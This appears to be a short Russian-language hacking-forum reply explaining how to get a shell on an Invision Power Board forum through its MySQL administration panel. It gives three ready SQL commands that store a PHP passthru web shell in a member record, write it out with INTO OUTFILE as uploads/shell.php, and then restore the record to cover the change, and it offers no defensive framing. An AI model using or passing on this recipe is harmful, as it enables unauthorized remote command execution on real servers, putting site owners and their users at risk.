попробуй через мускулы залить. если повезет и окажутся привелении писать в файл то будет тебе щастье.заливается так - идешь в sql админимтрирование и даешь команды

UPDATE ibf_members SET name='<? passthru("$cmd"); ?>'WHERE id='0';
SELECT name FROM `ibf_members` WHERE id='0' INTO OUTFILE '/FULL_PATH_TO_FORUM/uploads/shell.php';
UPDATE ibf_members SET name='Guest'WHERE id='0';

путь к форуму смотриш в конфигурации.есть и другуй способ,
юзай поиск по форуму.. эта тема сто раз уже обсуждалась.